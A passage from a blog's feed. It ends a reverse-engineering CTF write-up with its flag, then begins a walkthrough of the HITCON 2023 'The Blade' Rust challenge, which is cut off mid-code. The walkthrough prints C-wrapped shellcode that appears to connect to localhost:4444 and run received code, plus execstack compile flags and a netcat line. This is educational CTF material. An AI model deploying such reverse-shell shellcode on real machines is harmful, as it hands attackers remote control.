&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 672 / 457&quot; alt=&quot;Hello?! Const-correctness? Ever heard of it?&quot; title=&quot;Hello?! Const-correctness? Ever heard of it?&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/where-mah-const-correctness-672w.webp 672w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 672px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Also, who doesn&#39;t like a good pun hidden in a challenge?&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; href=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1012 / 232&quot; alt=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; title=&quot;An error message saying &#39;nice trie(graph)&#39; embedded in the sanity checker.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-256w.webp 256w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-512w.webp 512w, https://trebledj.me/img/posts/ctf/hkcert23/assets/nice-trie-graph-1012w.webp 1012w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1012px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;solve-sauce&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#solve-sauce&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solve Sauce&lt;/h2&gt;
&lt;p&gt;(Files not embedded, as they&#39;re a bit big.)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-rev-cpp&quot;&gt;rev.cpp: Fully reversed (100% similarity) source.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-solve-py&quot;&gt;solve.py: For cracking the internal flag.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/TrebledJ/43792e01ceed0c94f35717c453d2e4da#file-send-py&quot;&gt;send.py: Driver program to test rev.cpp.&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h2&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;hkcert23{c++stl_i5_ev3rywh3r3_dur1ng_r3v}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;&lt;a href=&quot;https://ctftime.org/event/list/?year=2022#:~:text=Decompetition%20v2.0&quot;&gt;Decompetition&lt;/a&gt; is a reverse-engineering CTF held irregularly. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn2&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;[2024 Nov] demangler.com seems to be down. Here&#39;s a different site with similar functionality: &lt;a href=&quot;https://n.fuqu.jp/c++filtjs/&quot;&gt;n.fuqu.jp/c++filtjs/&lt;/a&gt; &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref2&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn3&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;In proper engineering, we would hide the implementation behind &lt;code&gt;private&lt;/code&gt;, so &lt;code&gt;next_node&lt;/code&gt; should be a private variable. But since this is a CTF, proper engineering comes second. 😛 &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref3&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn4&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Or just read the assembly and follow the call conventions (thiscall for member functions, fastcall for everything else). &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref4&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn5&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;This also depends on optimisations, and whether the object contains any other classes. In some cases, constructors or destructors may be inlined or optimised away. &lt;a href=&quot;https://trebledj.me/posts/hkcert-2023-decompetition-vitamin-cpp/#fnref5&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>ctf</category>
        
          <category>reverse</category>
        
          <category>cpp</category>
        
          <category>tutorial</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>HITCON 2023 – The Blade</title>
        <description>Beginner-friendly writeup for a nifty Rust reversing challenge.</description>
        <link href="https://trebledj.me/posts/hitcon-2023-the-blade/"/>
        <updated>2023-09-20T00:00:00Z</updated>
        <id>https://trebledj.me/posts/hitcon-2023-the-blade/</id>
        <content xml:lang="en" type="html">&lt;p&gt;My first Rust &lt;a class=&quot;jtag&quot; href=&quot;https://trebledj.me/tags/reverse/&quot;&gt;rev&lt;/a&gt; solve! Though in hindsight, not much Rust knowledge was needed.&lt;/p&gt;
&lt;h2 id=&quot;description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Description&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A Rust tool for executing shellcode in a seccomp environment. Your goal is to pass the hidden flag checker concealed in the binary.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Author: &lt;a href=&quot;https://github.com/wxrdnx&quot;&gt;wxrdnx&lt;/a&gt;&lt;br /&gt;
40/683 solves.&lt;/p&gt;
&lt;h2 id=&quot;writeup&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#writeup&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Writeup&lt;/h2&gt;
&lt;h3 id=&quot;running-the-server&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#running-the-server&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Running the Server&lt;/h3&gt;
&lt;p&gt;Let’s start by running the binary. We can get a feel by navigating the program with &lt;code&gt;help&lt;/code&gt; and other commands.&lt;/p&gt;
&lt;p&gt;Turns out we’re given a C2 (Command and Control) interface which sends shellcode. Imagine we control a compromised machine. By running a malicious shellcode, we can trigger a reverse shell to our server, so that we can easily send more commands from the server.&lt;/p&gt;
&lt;p&gt;Anyhow, we can start the server with:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;server
run&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;We’re told to run some shellcode on the “client”. By default, this starts a connection to &lt;code&gt;localhost:4444&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A simple alternative is to run &lt;code&gt;nc localhost 4444&lt;/code&gt; (on a separate shell). This will initiate a connection to the server, but it won’t have the same effect as the shellcode.&lt;/li&gt;
&lt;li&gt;To run the shellcode, we can compile a simple C program containing the shellcode and execute it.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token macro property&quot;&gt;&lt;span class=&quot;token directive-hash&quot;&gt;#&lt;/span&gt;&lt;span class=&quot;token directive keyword&quot;&gt;include&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; shellcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;&#92;xeb&#92;x10&#92;x31&#92;xc0&#92;x53&#92;x5f&#92;x49&#92;x8d&#92;x77&#92;x10&#92;x48&#92;x31&#92;xd2&#92;x80&#92;xc2&#92;xff&#92;x0f&#92;x05&#92;x6a&#92;x29&#92;x58&#92;x99&#92;x6a&#92;x02&#92;x5f&#92;x6a&#92;x01&#92;x5e&#92;x0f&#92;x05&#92;x50&#92;x5b&#92;x48&#92;x97&#92;x68&#92;x7f&#92;x00&#92;x00&#92;x01&#92;x66&#92;x68&#92;x11&#92;x5c&#92;x66&#92;x6a&#92;x02&#92;x54&#92;x5e&#92;xb2&#92;x10&#92;xb0&#92;x2a&#92;x0f&#92;x05&#92;x4c&#92;x8d&#92;x3d&#92;xc5&#92;xff&#92;xff&#92;xff&#92;x41&#92;xff&#92;xe7&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;shellcode&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Compile with:&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;// gcc main.c  -fno-stack-protector -z execstack &amp;amp;&amp;amp; gdb ./a.out&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;After running, then what? The commands don’t seem to reveal much, and at this point it’s a bit guessy. Time to turn to a decompiler.&lt;/p&gt;
&lt;h3 id=&quot;identifying-interest-points&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#identifying-interest-points&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Identifying Interest Points&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;What command triggers the flag checker?&lt;/li&gt;
&lt;li&gt;Where is the flag processed?&lt;/li&gt;
&lt;li&gt;How is the flag processed?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;According to the description, the program contains a flag checker. So presumably we pass the flag as input at some point. But &lt;em&gt;where&lt;/em&gt; and &lt;em&gt;how&lt;/em&gt;?&lt;/p&gt;
&lt;p&gt;By running &lt;code&gt;strings&lt;/code&gt;, we find an interesting set of strings: &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt;, &lt;code&gt;?help&lt;/code&gt;, &lt;code&gt;?exit&lt;/code&gt;, &lt;code&gt;?quit&lt;/code&gt;. This pattern can’t be a coincidence.&lt;/p&gt;
&lt;p&gt;In your favourite decompiler, do a search for the bytes &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt;. If you can’t find it, try playing with endian settings. This should lead you to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;seccomp_shell::shell::prompt()&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Under a condition checking for flag, we’re led to &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;seccomp_shell::shell::verify()&lt;/code&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Although strings shows &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;?flag&lt;/code&gt;&lt;/span&gt; as the full string, the actual string is just &lt;code&gt;flag&lt;/code&gt;. Questionable, no? This is because the byte before &lt;code&gt;flag&lt;/code&gt; happens to be &lt;code&gt;&#92;x22&lt;/code&gt; (i.e. &lt;code&gt;?&lt;/code&gt;). &lt;code&gt;strings&lt;/code&gt; doesn’t know better, because it doesn’t actually disassemble the program.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So how is the flag actually processed? This requires a careful study of &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;verify()&lt;/code&gt;&lt;/span&gt;, with a touch of dynamic analysis and experimentation.&lt;/p&gt;
&lt;p&gt;Like most flag checkers, it turns out we just pass the flag as input (alongside the &lt;code&gt;flag&lt;/code&gt; command).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;flag hitcon{test_flag}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And like most flag checkers, we’re immediately hit with “&lt;em&gt;Incorrect&lt;/em&gt;”.&lt;/p&gt;
&lt;details&gt;&lt;summary&gt;We also get some hints about the flag&#39;s length...&lt;/summary&gt;&lt;div class=&quot;details-content&quot;&gt;
&lt;p&gt;...by glancing at the start of &lt;code&gt;verify()&lt;/code&gt;...&lt;/p&gt;
&lt;p&gt;...&lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;64&lt;/span&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;param_3 &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	auVar27 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;incorrect/&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;9&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; auVar27&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;When we try sending a flag 64-bytes long, we get something on our other shell. We&#39;re not immediately hit with an &amp;quot;&lt;em&gt;Incorrect&lt;/em&gt;&amp;quot;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-txt&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;flag hitcon{AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;details-collapse-bottom&quot;&gt;&lt;sub&gt;&lt;a class=&quot;details-collapse-button&quot;&gt;(collapse)&lt;/a&gt;&lt;/sub&gt;&lt;/div&gt;&lt;/div&gt;&lt;/details&gt;
&lt;h3 id=&quot;reversing-the-encryption&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#reversing-the-encryption&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Reversing the Encryption&lt;/h3&gt;
&lt;p&gt;Time to play the UNO reverse card on this binary!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There are 3 parts to the encryption. What addresses do they begin and end?&lt;/li&gt;
&lt;li&gt;What is each part doing?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let’s recognise some high level patterns.&lt;/p&gt;
&lt;p&gt;It’s easy to be intimidated by the multitude of loops; but really, half the loops are the same, just wearing different clothes.&lt;/p&gt;
&lt;p&gt;There are the 3 parts to the encryption:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Part 1 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;112d10&lt;/code&gt; – &lt;code&gt;113017&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Part 2 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;113020&lt;/code&gt; – &lt;code&gt;11309c&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;Part 3 &lt;span class=&quot;spoiler&quot; tabindex=&quot;0&quot;&gt;(&lt;code&gt;11310e&lt;/code&gt; – &lt;code&gt;1133a5&lt;/code&gt;)&lt;/span&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The procedure is roughly:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; _ &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
	part1&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
	part2&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

part3&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;flag&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; interesting_data_a7516852&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;1-reversing-the-permutation&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/hitcon-2023-the-blade/#1-reversing-the-permutation&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; 1. Reversing the Permutation&lt;/h3&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Even cats can catch sneaky permutations!&quot; href=&quot;https://trebledj.me/img/giphy-500w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80&quot; src=&quot;https://trebledj.me/img/giphy-500w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 500 / 281&quot; alt=&quot;Even cats can catch sneaky permutations!&quot; title=&quot;Even cats can catch sneaky permutations!&quot; srcset=&quot;https://trebledj.me/img/giphy-256w.webp 256w, https://trebledj.me/img/giphy-500w.webp 500w&quot; sizes=&quot;(max-width: 256px) 256px, 500px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Address: &lt;code&gt;112d10&lt;/code&gt; – &lt;code&gt;113017&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Eight loops, doing pretty much the same thing. Let’s focus on the first one.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token function&quot;&gt;memcpy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;some_buffer&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;SOME_ADDRESS&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
n &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x40&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
puVar21 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;ulong &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;some_buffer_offset_by_4&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
	uVar23 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; puVar21&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0x3f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; uVar23&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;token keyword&quot;&gt;goto&lt;/span&gt; panic&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
	uVar1 &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; __ptr&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;n &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// __ptr :: char[]&lt;/span&gt;
